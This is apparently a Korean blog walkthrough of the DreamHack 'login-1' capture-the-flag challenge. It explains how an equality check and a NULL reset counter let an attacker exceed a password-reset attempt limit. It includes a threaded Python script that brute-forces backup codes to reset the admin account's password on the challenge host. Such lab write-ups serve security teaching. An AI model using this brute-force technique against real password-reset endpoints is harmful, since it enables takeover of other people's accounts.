๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Tried. Failed. Logged.
๐ŸดCTF/DreamHack

DreamHack - login-1 ํ’€์ด

by Janger 2023. 3. 27.
728x90

 

๊ด€๋ฆฌ์ž ๋ ˆ๋ฒจ ์œ ์ € ์•„์ด๋”” ์ฐพ๊ธฐ

http://host3.dreamhack.games:20947/user/1 <- ์ด๊ณณ์—์„œ ๋’ค์— ์ˆซ์ž๋ฅผ ๋Š˜๋ฆฌ๋ฉด์„œ ์œ ์ € ์ •๋ณด ํ™•์ธ ๊ฐ€๋Šฅ

 

๋ ˆ์ด์Šค ์ปจ๋””์…˜ ์ทจ์•ฝ์  ์ฝ”๋“œ

user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
    # security for brute force Attack.
    time.sleep(1)

    if user['resetCount'] == MAXRESETCOUNT:
        return "<script>alert('reset Count Exceed.');history.back(-1);</script>"


user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
ใ„ด ์œ ์ €์˜ ์ •๋ณด(๋ฆฌ์…‹์นด์šดํŠธ ํฌํ•จ)๊ฐ€ ํ…œํ”Œ๋ฆฟ์— ๊ธฐ๋ก๋จ, *DB ๊ฒฐ๊ณผ์˜ ๋ณต์‚ฌ๋ณธ์ผ ๋ฟ ์ด๊ณณ ๋ฐ์ดํ„ฐ๊ฐ€ ๋ฐ”๋€Œ์–ด๋„ ์‹ค์ œ DB๋Š” ์•ˆ ๋ฐ”๋€œ

time.sleep(1) 
ใ„ด ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€๋ฅผ ์œ„ํ•œ ๋”œ๋ ˆ์ด, ๋”œ๋ ˆ์ด์— ๋น ์ง€๋Š” ๋™์•ˆ ๋™์‹œ์— ์—ฌ๋Ÿฌ ๋ฒˆ์˜ ์ˆ˜์ • ์š”์ฒญ์ด ์ง€์—ฐ๋œ๋‹ค. 

if user['resetCount'] == MAXRESETCOUNT:
ใ„ด ๊ทธ๋ ‡๊ฒŒ ์‚ฌ์šฉ์ž์˜ resetCount๊ฐ€ ๋™์‹œ๋‹ค๋ฐœ์ ์œผ๋กœ ์ฆ๊ฐ€ํ•˜๋ฉด์„œ ๊ฒฐ๊ตญ resetCount๊ฐ€ MAXRESETCOUNT๋ฅผ ํ›Œ์ฉ ๋„˜์–ด ์ด ์กฐ๊ฑด๋ฌธ์„ ์‹คํ–‰ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋งŒ์•ฝ user['resetCount'] >= MAXRESETCOUNT: ์ด๋ ‡๊ฒŒ ์ž‘์„ฑํ–ˆ์œผ๋ฉด ์ด๋Ÿฐ ์ทจ์•ฝ์ ์€ ์—†์—ˆ์„ ๊ฒƒ. 

 

 

์„œ๋ฒ„ ์—๋Ÿฌ 500์„ ์ด์šฉ

์‹ ๊ทœ ๊ณ„์ •์„ ๋งŒ๋“ค๊ฒŒ ๋˜๋ฉด resetCount ์˜์—ญ์—๋Š” NULL์ด ์ƒ๊ธฐ๊ฒŒ ๋˜๋ฉด์„œ ์•„๋ž˜์˜ resetCount = resetCount + 1 ๊ตฌ๋ฌธ์—์„œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ๊ฒฐ๊ตญ ๋ฆฌ์…‹ ์นด์šดํŠธ๋Š” ์ฆ๊ฐ€ ๋ชปํ•œ ์ฑ„ ์„œ๋ฒ„ ์ธก ์—๋Ÿฌ(500)๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

    updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
    cur.execute(updateSQL, (str(user['idx'])))
    msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"

์–ด๋“œ๋ฏผ ๋ ˆ๋ฒจ ์œ ์ € ์•„์ด๋”” ์ค‘์—์„œ potato์—๋„ ์œ„์™€ ๊ฐ™์€ ํ˜„์ƒ์ด ๋ฐœ์ƒํ•˜๊ฒŒ ๋˜๋ฏ€๋กœ resetCount์— ์‹ ๊ฒฝ์„ ์“ฐ์ง€ ์•Š๊ณ  ๋งˆ์Œ๊ป ๋ธŒ๋ฃจํŠธ ํฌ์Šค ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

ํŒŒ์ด์ฌ ๊ณต๊ฒฉ ์ฝ”๋“œ

import requests
import threading

port = 8878

END_FLAG = False

def brute(userid, bmin, bmax):
    global END_FLAG
        
    url = f"http://host3.dreamhack.games:{port}/forgot_password"

    for i in range(bmin, bmax+1):
        
        if END_FLAG:
            return

        print(f"{userid}) Trying:", i)

        data = { 'userid': userid, 'newpassword': '1234', 'backupCode': str(i)}
        res = requests.post(url, data=data)

        if res.status_code == 500:
            continue

        if "Password Change Success." in res.text:
            print(f"{userid} Password Change Success! Login: {userid} | Password: 1234")
            END_FLAG = True
            break


t1 = threading.Thread(target=brute, args=("potato", 0, 50))
t1.start()

t2 = threading.Thread(target=brute, args=("potato", 51, 99))
t2.start()

๋ ˆ์ด์Šค ์ปจ๋””์…˜๊ณผ ์„œ๋ฒ„ ์—๋Ÿฌ๋ฅผ ์ด์šฉํ•œ ๋ธŒ๋ฃจํŠธ ํฌ์Šค ๊ณต๊ฒฉ ์ฝ”๋“œ์ด๋‹ค.

 

 

๋ ˆ์ด์Šค ์ปจ๋””์…˜ ๊ณต๊ฒฉ ์ฐธ๊ณ : 

https://itstory.tk/entry/%EB%A0%88%EC%9D%B4%EC%8A%A4-%EC%BB%A8%EB%94%94%EC%85%98Race-Condition-%EA%B3%B5%EA%B2%A9

 

๋ ˆ์ด์Šค ์ปจ๋””์…˜(Race Condition) ๊ณต๊ฒฉ

๋ ˆ์ด์Šค ์ปจ๋””์…˜ - ํ•œ์ •๋œ ์ž์›์„ ๋™์‹œ์— ์ด์šฉํ•˜๋ ค๋Š” ์—ฌ๋Ÿฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ž์›์˜ ์ด์šฉ์„ ์œ„ํ•ด ๊ฒฝ์Ÿ์„ ๋ฒŒ์ด๋Š” ํ˜„์ƒ ๋ ˆ์ด์Šค ์ปจ๋””์…˜์˜ ๊ณต๊ฒฉ์˜ ๊ธฐ๋ณธ - 1. ์ทจ์•ฝ ํ”„๋กœ๊ทธ๋žจ์ด ์ƒ์„ฑํ•˜๋Š” ์ž„์‹œ ํŒŒ์ผ์˜ ์ด๋ฆ„์„ ํŒŒ

itstory.tk

 

728x90